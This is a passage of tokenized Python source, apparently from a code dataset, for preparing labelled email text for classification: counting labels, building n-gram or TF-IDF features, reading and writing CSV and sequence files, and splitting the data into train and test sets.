"Word", "s", "Count_", "[_", "label_", "]_", "._", "values_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "total_", "+=_", "count_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'\\\\", "t", "%", "s", ":", "%", "d", "'_", "%_", "(_", "label_", ",_", "count_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "(_", "'", "Total", " ", "word", " ", "count", ":", " ", "%", "d", "'_", "%_", "total_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "label", "Counts_", "=_", "{_", "label_", ":_", "0_", "for_", "label_", "in_", "labels_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "email_", "in_", "emails_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "label", "Counts_", "[_", "email_", "._", "label_", "]_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cutoff_", "=_", "int_", "(_", "len_", "(_", "emails_", ")_", "*_", "label", "\\u", "cutoff_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "removed_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "label_", "in_", "labels_", "[_", ":_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "label", "Counts_", "[_", "label_", "]_", "<_", "cutoff_", "or_", "label_", "==_", "'", "Importa", "nt", "'_", "or_", "label_", "==_", "'", "Unrea", "d", "'_", "or_", "label_", "==_", "'", "Sent", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "removed_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "labels_", "._", "remove_", "(_", "label_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "label", "Num", "s_", "=_", "{_", "labels_", "[_", "i_", "]_", ":_", "i_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "labels_", ")_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "Foun", "d", " ", "%", "d", " ", "labels", " ", "belo", "w", " ", "count", " ", "threshol", "d", " ", "of", " ", "%", "d", " ", "'_", "%_", "(_", "removed_", ",_", "cutoff_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "Creat", "ing", " ", "email", " ", "dataset", " ", "with", " ", "labels", " ", "%", "s", " ", "'_", "%_", "str_", "(_", "labels_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "Label", " ", "email", " ", "count", " ", "breakdown", ":'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "total_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "label_", "in_", "labels_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'\\\\", "t", "%", "s", ":", "%", "d", "'_", "%_", "(_", "label_", ",_", "label", "Counts_", "[_", "label_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "(_", "'", "Total", " ", "email", "s", ":", " ", "%", "d", "'_", "%_", "sum_", "(_", "[_", "label", "Counts_", "[_", "label_", "]_", "for_", "label_", "in_", "labels_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "texts_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "email", "Labels_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "email_", "in_", "emails_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "email_", "._", "label_", "not_", "in_", "labels_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "text_", "=_", "email_", "._", "sender_", "+_", "\"", " ", "\"_", "+_", "str_", "(_", "email_", "._", "subject_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "+=_", "email_", "._", "from", "Domain_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "+=_", "email_", "._", "content_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "texts_", "._", "append_", "(_", "text_", "._", "replace_", "(_", "'\\\\", "n", "'_", ",_", "''_", ")_", "._", "replace_", "(_", "'\\\\", "r", "'_", ",_", "''_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "email", "Labels_", "._", "append_", "(_", "label", "Num", "s_", "[_", "email_", "._", "label_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "email", "Labels_", "=_", "np_", "._", "array_", "(_", "email", "Labels_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "max", "\\u", "n_", "==_", "1_", "or_", "not_", "as", "\\u", "matrix_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tokenizer_", "=_", "Tokenizer_", "(_", "nb", "\\u", "words_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tokenizer_", "._", "fit", "\\u", "on", "\\u", "texts_", "(_", "texts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reverse", "\\u", "word", "\\u", "index_", "=_", "{_", "tokenizer_", "._", "word", "\\u", "index_", "[_", "word_", "]_", ":_", "word_", "for_", "word_", "in_", "tokenizer_", "._", "word", "\\u", "index_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "word", "\\u", "list_", "=_", "[_", "reverse", "\\u", "word", "\\u", "index_", "[_", "i_", "+_", "1_", "]_", "for_", "i_", "in_", "range_", "(_", "nb", "\\u", "words_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "as", "\\u", "matrix_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "feature", "\\u", "matrix_", "=_", "tokenizer_", "._", "texts", "\\u", "to", "\\u", "matrix_", "(_", "texts_", ",_", "mode_", "=_", "matrix", "\\u", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "feature", "\\u", "matrix_", ",_", "email", "Labels_", ",_", "word", "\\u", "list_", ",_", "labels_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sequences_", "=_", "tokenizer_", "._", "texts", "\\u", "to", "\\u", "sequences_", "(_", "texts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "sequences_", ",_", "email", "Labels_", ",_", "word", "\\u", "list_", ",_", "labels_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "matrix", "\\u", "type_", "==_", "'", "tfidf", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "vectorizer", "_", "=_", "Tf", "idf", "Vectorizer_", "(_", "ngram", "\\u", "range_", "=_", "(_", "1_", ",_", "max", "\\u", "n_", ")_", ",_", "max", "\\u", "features_", "=_", "nb", "\\u", "words_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "vectorizer", "_", "=_", "Counter", "Vectorizer_", "(_", "ngram", "\\u", "range_", "=_", "(_", "1_", ",_", "max", "\\u", "n_", ")_", ",_", "max", "\\u", "features_", "=_", "nb", "\\u", "words_", ",_", "binary_", "=_", "matrix", "\\u", "type_", "==_", "'", "binar", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "feature", "\\u", "matrix_", "=_", "vectorizer", "_", "._", "fit", "\\u", "transform_", "(_", "texts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "word", "\\u", "list_", "=_", "vectorizer", "_", "._", "get", "\\u", "feature", "\\u", "names_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "feature", "\\u", "matrix_", ",_", "email", "Labels_", ",_", "word", "\\u", "list_", ",_", "labels_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write", "\\u", "csv_", "(_", "csvfile_", ",_", "feature", "\\u", "matrix_", ",_", "labels_", ",_", "feature", "\\u", "names_", "=_", "None_", ",_", "verbose_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dataframe_", "=_", "pd_", "._", "Data", "Frame_", "(_", "data_", "=_", "feature", "\\u", "matrix_", ",_", "columns_", "=_", "feature", "\\u", "names_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dataframe_", "[_", "'", "label", "'_", "]_", "=_", "labels_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dataframe_", "._", "to", "\\u", "csv_", "(_", "csvfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "Wro", "te", " ", "CSV", " ", "with", " ", "column", "s", " ", "%", "s", " ", "to", " ", "%", "s", "'_", "%_", "(_", "str_", "(_", "dataframe_", "._", "columns_", ")_", ",_", "csvfile_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "read", "\\u", "csv_", "(_", "csvfile_", ",_", "verbose_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dataframe_", "=_", "pd_", "._", "read", "\\u", "csv_", "(_", "csvfile_", ",_", "header_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "labels_", "=_", "dataframe_", "[_", "u", "'", "label", "'_", "]_", "._", "tolist_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "Read", " ", "CSV", " ", "with", " ", "column", "s", " ", "%", "s", "'_", "%_", "str_", "(_", "dataframe_", "._", "columns_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dataframe_", "._", "drop_", "(_", "u", "'", "label", "'_", ",_", "inplace_", "=_", "True_", ",_", "axis_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "u", "'", "Un", "named", ":", " ", "0", "'_", "in_", "dataframe_", "._", "columns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dataframe_", "._", "drop_", "(_", "u", "'", "Un", "named", ":", " ", "0", "'_", ",_", "inplace_", "=_", "True_", ",_", "axis_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "feature", "\\u", "matrix_", "=_", "dataframe_", "._", "as", "\\u", "matrix_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "feature", "\\u", "names_", "=_", "dataframe_", "._", "columns_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "feature", "\\u", "matrix_", ",_", "labels_", ",_", "feature", "\\u", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write", "\\u", "info_", "(_", "txt", "file_", ",_", "label", "\\u", "names_", ",_", "verbose_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "txt", "file_", ",_", "'", "w", "'_", ")_", "as_", "writet", "o_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "writet", "o_", "._", "write_", "(_", "','_", "._", "join_", "(_", "label", "\\u", "names_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "read", "\\u", "info_", "(_", "txt", "file_", ",_", "verbose_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "txt", "file_", ",_", "'", "r", "'_", ")_", "as_", "readf", "rom_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "label", "\\u", "names_", "=_", "readf", "rom_", "._", "readline_", "(_", ")_", "._", "split_", "(_", "','_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "label", "\\u", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write", "\\u", "sequences_", "(_", "txt", "file_", ",_", "sequences_", ",_", "labels_", ",_", "verbose_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "txt", "file_", ",_", "'", "w", "'_", ")_", "as_", "writet", "o_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "sequence_", ",_", "label_", "in_", "zip_", "(_", "sequences_", ",_", "labels_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "lol", " ", "random", " ", "dem", "arc", "ation", " ", "marker", "s", " ", "so", " ", "fun", " ", "ami", "rite_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "writet", "o_", "._", "write_", "(_", "','_", "._", "join_", "(_", "[_", "str_", "(_", "x_", ")_", "for_", "x_", "in_", "sequence_", "]_", ")_", "+_", "';", ";", ";'_", "+_", "str_", "(_", "label_", ")_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "Wro", "te", " ", "txt", " ", "with", " ", "%", "d", " ", "lines", "'_", "%_", "len_", "(_", "sequences_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "read", "\\u", "sequences_", "(_", "txt", "file_", ",_", "verbose_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sequences_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "labels_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines", "num_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "txt", "file_", ",_", "'", "r", "'_", ")_", "as_", "readf", "rom_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "line_", "in_", "readf", "rom_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lines", "num_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parts_", "=_", "line_", "._", "split_", "(_", "';", ";", ";'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "split_", "=_", "parts_", "[_", "0_", "]_", "._", "split_", "(_", "','_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "split_", ")_", "<=_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sequences_", "._", "append_", "(_", "np_", "._", "asarray_", "(_", "split_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "labels_", "._", "append_", "(_", "(_", "int_", ")_", "(_", "parts_", "[_", "1_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "Read", " ", "txt", " ", "with", " ", "%", "d", " ", "lines", "'_", "%_", "lines", "num_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "sequences_", ",_", "labels_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dataframe_", "=_", "pd_", "._", "read", "\\u", "csv_", "(_", "csvfile_", ",_", "header_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "labels_", "=_", "dataframe_", "[_", "u", "'", "label", "'_", "]_", "._", "tolist_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "Read", " ", "CSV", " ", "with", " ", "column", "s", " ", "%", "s", "'_", "%_", "str_", "(_", "dataframe_", "._", "columns_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dataframe_", "._", "drop_", "(_", "'", "label", "'_", ",_", "inplace_", "=_", "True_", ",_", "axis_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "feature", "\\u", "matrix_", "=_", "dataframe_", "._", "as", "\\u", "matrix_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "feature", "\\u", "matrix_", ",_", "labels_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "make", "\\u", "dataset_", "(_", "features_", ",_", "labels_", ",_", "num", "\\u", "labels_", ",_", "test\\u", "split_", "=_", "0.1_", ",_", "nb", "\\u", "words_", "=_", "1000_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", "(_", "features_", ")_", "==_", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "\\u", "examples_", "=_", "len_", "(_", "features_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "random", "\\u", "order_", "=_", "np_", "._", "random_", "._", "permutation_", "(_", "num", "\\u", "examples_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "index", "\\u", "split_", "=_", "(_", "int_", ")_", "(_", "test\\u", "split_", "*_", "num", "\\u", "examples_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "train", "\\u", "indices_", "=_", "random", "\\u", "order_", "[_", "index", "\\u", "split_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "indices_", "=_", "random", "\\u", "order_", "[_", ":_", "index", "\\u", "split_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X", "\\u", "train_", "=_", "[_", "features_", "[_", "i_", "]_", "for_", "i_", "in_", "train", "\\u", "indices_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X", "\\u", "test_", "=_", "[_", "features_", "[_", "i_", "]_", "for_", "i_", "in_", "test\\u", "indices_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Y", "\\u", "train_", "=_", "[_", "labels_", "[_", "i_", "]_", "for_", "i_", "in_", "train", "\\u", "indices_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Y", "\\u", "test_", "=_", "[_", "labels_", "[_", "i_", "]_", "for_", "i_", "in_", "test\\u", "indices_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "\\u", "examples_", "=_", "features_", "._", "shape_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "random", "\\u", "order_", "=_", "np_", "._", "random_", "._", "permutation_", "(_", "num", "\\u", "examples_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "index", "\\u", "split_", "=_", "(_", "int_", ")_", "(_", "test\\u", "split_", "*_", "num", "\\u", "examples_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "train", "\\u", "indices_", "=_", "random", "\\u", "order_", "[_", "index", "\\u", "split_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "indices_", "=_", "random", "\\u", "order_", "[_", ":_", "index", "\\u", "split_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X", "\\u", "train_", "=_", "features_", "[_", "train", "\\u", "indices_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X", "\\u", "test_", "=_", "features_", "[_", "test\\u", "indices_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Y", "\\u", "train_", "=_", "[_", "labels_", "[_", "i_", "]_", "for_", "i_", "in_", "train", "\\u", "indices_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Y", "\\u", "test_", "=_", "[_", "labels_", "[_", "i_", "]_", "for_", "i_", "in_", "test\\u", "indices_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Y", "\\u", "train", "\\u", "c_", "=_", "np", "\\u", "utils_", "._", "to", "\\u", "categorical_", "(_", "Y", "\\u", "train_", ",_", "num", "\\u", "labels_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Y", "\\u", "test\\u", "c_", "=_", "np", "\\u", "utils_", "._", "to", "\\u", "categorical_", "(_", "Y", "\\u", "test_", ",_", "num", "\\u", "labels_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "(_", "X", "\\u", "train_", ",_", "Y", "\\u", "train", "\\u", "c_", ")_", ",_", "(_", "X", "\\u", "test_", ",_", "Y", "\\u", "test\\u", "c_", ")_", ")_", ",_", "Y", "\\u", "train_", ",_", "Y", "\\u", "test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "emails_", "(_", "verbose_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pickle", "file_", "=_", "'", "pickled", "\\u", "email", "s", ".", "pickle", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isfile_", "(_", "pickle", "file_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "pickle", "file_", ",_", "'", "r", "'_", ")_", "as_", "load", "\\u", "from_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "emails_", "=_", "c", "Pickle_", "._", "load_", "(_", "load", "\\u", "from_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "emails_", "=_", "parse", "Ema", "ils_", "(_", "'.'_", ",_", "print", "Info_", "=_", "verbose_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "pickle", "file_", ",_", "'", "w", "'_", ")_", "as_", "store", "\\u", "to_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c", "Pickle_", "._", "dump_", "(_", "emails_", ",_", "store", "\\u", "to_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "emails_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "ngram", "\\u", "data_", "(_", "num", "\\u", "words_", "=_", "1000_", ",_", "matrix", "\\u", "type_", "=_", "'", "binar", "y", "'_", ",_", "verbose_", "=_", "True_", ",_", "max", "\\u", "n_", "=_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "ye", "ah", " ", "ye", "ah", " ", "these", " ", "can", " ", "be", " ", "separate", " ", "function", "s", ",", " ", "but", " ", "lets", " ", "just", " ", "bundle", " ", "it", " ", "all", " ", "up_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "csvfile_", "=_", "'", "ker", "as", "\\u", "data\\u", "%", "d\\u", "%", "s", ".", "csv", "'_", "%_", "(_", "num", "\\u", "words_", ",_", "str_", "(_", "matrix", "\\u", "type_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info", "file_", "=_", "'", "data\\u", "info", ".", "txt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isfile_", "(_", "csvfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "features_", ",_", "labels_", ",_", "feature", "\\u", "names_", "=_", "read", "\\u", "csv_", "(_", "csvfile_", ",_", "verbose_", "=_", "verbose_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "label", "\\u", "names_", "=_", "read", "\\u", "info_", "(_", "info", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "emails_", "=_", "get", "\\u", "emails_", "(_", "verbose_", "=_", "verbose_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "features_", ",_", "labels_", ",_", "feature", "\\u", "names_", ",_", "label", 